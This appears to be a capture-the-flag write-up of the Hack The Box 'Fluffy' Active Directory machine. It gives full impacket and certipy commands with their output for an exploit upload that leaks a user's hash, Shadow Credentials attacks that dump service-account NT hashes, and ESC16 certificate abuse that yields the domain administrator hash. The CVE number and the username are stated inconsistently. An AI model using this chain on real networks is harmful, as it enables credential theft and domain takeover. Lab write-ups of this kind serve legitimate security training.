Starts with CVE-2025-24996, which is used to retrieve the hash of p.agila. This user Owns the Service Accounts OU, and can add themselves. Once done they have GenericWrite, and GenericAll which we can utilize for Shadow Credentials and obtain the hash for winrm_svc and other corresponding service accounts (ldap_svc, ca_svc). Having the ca_svc who is in Cert Publishers, we find a vulnerable template within ADCS. ESC 16 allows a low-privileged user to escalate their privilege. In doing so, we update the ca_svc account upn to administrator then request a pfx. This give us the administrator.pfx. Now we change back the upn for ca_svc and we authenticate with the administrator.pfx giving us the administrator hash.
As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account: rr.j.fleischman / J0elTHEM4n1990!
Initial Nmap
1 2 3 4 5 6 7 8 9 10 11 12
PORT STATE SERVICE REASON 53/tcp open domain syn-ack 88/tcp open kerberos-sec syn-ack 139/tcp open netbios-ssn syn-ack 389/tcp open ldap syn-ack 445/tcp open microsoft-ds syn-ack 464/tcp open kpasswd5 syn-ack 593/tcp open http-rpc-epmap syn-ack 636/tcp open ldapssl syn-ack 3268/tcp open globalcatLDAP syn-ack 3269/tcp open globalcatLDAPssl syn-ack 5985/tcp open wsman syn-ack
Common ports for an Active Directory Server.
SMB
Starting here we can see we have read/write to IT. We can check that out and see what it holds.
konoha# impacket-smbclient 'fluffy.htb/j.fleischman:J0elTHEM4n1990!@fluffy.htb' Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Type helpfor list of commands # shares ADMIN$ C$ IPC$ IT NETLOGON SYSVOL # use IT # ls drw-rw-rw- 0 Tue Aug 19 01:51:25 2025 . drw-rw-rw- 0 Tue Aug 19 01:51:25 2025 .. drw-rw-rw- 0 Fri May 16 09:51:49 2025 Everything-1.4.1.1026.x64 -rw-rw-rw- 1827464 Fri May 16 09:51:49 2025 Everything-1.4.1.1026.x64.zip drw-rw-rw- 0 Fri May 16 09:51:49 2025 KeePass-2.58 -rw-rw-rw- 3225346 Fri May 16 09:51:49 2025 KeePass-2.58.zip -rw-rw-rw- 169963 Sat May 17 09:31:07 2025 Upgrade_Notice.pdf
I don’t see any sort of database(db) file, we can look at the Upgrade_Notice.pdf and this shows us some critical vulnerabilities this server is susceptible to.
Researching CVE-2025-24071 led us looking on github and finding a CVE we can use. We simply create a file and upload, which in turn gets us the hash for p.agila.
konoha# impacket-smbclient 'fluffy.htb/j.fleischman:J0elTHEM4n1990!@fluffy.htb' Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Type helpfor list of commands # use IT l# ls drw-rw-rw- 0 Tue Aug 19 02:01:51 2025 . drw-rw-rw- 0 Tue Aug 19 02:01:51 2025 .. drw-rw-rw- 0 Fri May 16 09:51:49 2025 Everything-1.4.1.1026.x64 -rw-rw-rw- 1827464 Fri May 16 09:51:49 2025 Everything-1.4.1.1026.x64.zip drw-rw-rw- 0 Fri May 16 09:51:49 2025 KeePass-2.58 -rw-rw-rw- 3225346 Fri May 16 09:51:49 2025 KeePass-2.58.zip -rw-rw-rw- 169963 Sat May 17 09:31:07 2025 Upgrade_Notice.pdf # put exploit.zip # cd Everything-1.4.1.1026.x64 # put exploit.zip # cd .. # cd KeePass-2.58 # put exploit.zip #
konoha# certipy shadow auto -u 'p.agila@fluffy.htb' -p '<SNIP>' -account winrm_svc -dc-ip 10.10.11.69 Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'winrm_svc' [*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID 'cb5debf6-c514-d129-7371-3f40a64fc9d8' [*] Adding Key Credential with device ID 'cb5debf6-c514-d129-7371-3f40a64fc9d8' to the Key Credentials for'winrm_svc' [*] Successfully added Key Credential with device ID 'cb5debf6-c514-d129-7371-3f40a64fc9d8' to the Key Credentials for'winrm_svc' [*] Authenticating as 'winrm_svc' with the certificate [*] Certificate identities: [*] No identities found in this certificate [*] Using principal: 'winrm_svc@fluffy.htb' [*] Trying to get TGT... [*] Got TGT [*] Saving credential cache to 'winrm_svc.ccache' [*] Wrote credential cache to 'winrm_svc.ccache' [*] Trying to retrieve NT hashfor'winrm_svc' [*] Restoring the old Key Credentials for'winrm_svc' [*] Successfully restored the old Key Credentials for'winrm_svc' [*] NT hashfor'winrm_svc': <SNIP>
konoha# certipy shadow auto -u 'p.agila@fluffy.htb' -p '<SNIP>' -account ca_svc -dc-ip 10.10.11.69 Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'ca_svc' [*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID 'a579746f-641a-f46c-6b2f-3c1872d0d203' [*] Adding Key Credential with device ID 'a579746f-641a-f46c-6b2f-3c1872d0d203' to the Key Credentials for'ca_svc' [*] Successfully added Key Credential with device ID 'a579746f-641a-f46c-6b2f-3c1872d0d203' to the Key Credentials for'ca_svc' [*] Authenticating as 'ca_svc' with the certificate [*] Certificate identities: [*] No identities found in this certificate [*] Using principal: 'ca_svc@fluffy.htb' [*] Trying to get TGT... [*] Got TGT [*] Saving credential cache to 'ca_svc.ccache' [*] Wrote credential cache to 'ca_svc.ccache' [*] Trying to retrieve NT hashfor'ca_svc' [*] Restoring the old Key Credentials for'ca_svc' [*] Successfully restored the old Key Credentials for'ca_svc' [*] NT hashfor'ca_svc': <SNIP>
This keeps ESC-aping my mind (ESC16)
We definitely look at ADCS since its present on the box, running a little check reveals a big mistake in configuration. We find ESC16 available for attack.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
konoha# certipy -debug find -vulnerable -dc-ip 10.10.11.69 -u 'ca_svc@fluffy.htb' -hashes :<SNIP> -stdout <SNIP> Permissions Owner : FLUFFY.HTB\Administrators Access Rights ManageCa : FLUFFY.HTB\Domain Admins FLUFFY.HTB\Enterprise Admins FLUFFY.HTB\Administrators ManageCertificates : FLUFFY.HTB\Domain Admins FLUFFY.HTB\Enterprise Admins FLUFFY.HTB\Administrators Enroll : FLUFFY.HTB\Cert Publishers [!] Vulnerabilities ESC16 : Security Extension is disabled. [*] Remarks ESC16 : Other prerequisites may be required for this to be exploitable. See the wiki for more details. Certificate Templates : [!] Could not find any certificate templates
Knipping at the heels
We can technically get on the box, but lets see if we can just escalate ourselves first. First we update the upn of useraccount ca_svc to administrator.
konoha# certipy req -username ca_svc@fluffy.htb -hashes <SNIP> -dc-ip 10.10.11.69 -ca fluffy-DC01-CA -target DC01.fluffy.htb -template User Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC [*] Request ID is 20 [*] Successfully requested certificate [*] Got certificate with UPN 'administrator@fluffy.htb' [*] Certificate has no object SID [*] Try using -sid to set the object SID or see the wiki for more details [*] Saving certificate and private key to 'administrator.pfx' [*] Wrote certificate and private key to 'administrator.pfx'
Finally, we can auth with this pfx and retrieve the administrator hash.
1 2 3 4 5 6 7 8 9 10 11 12
konoha# certipy auth -pfx administrator.pfx -domain fluffy.htb -username administrator -dc-ip 10.10.11.69 Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities: [*] SAN UPN: 'administrator@fluffy.htb' [*] Using principal: 'administrator@fluffy.htb' [*] Trying to get TGT... [*] Got TGT [*] Saving credential cache to 'administrator.ccache' [*] Wrote credential cache to 'administrator.ccache' [*] Trying to retrieve NT hashfor'administrator' [*] Got hashfor'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:<SNIP>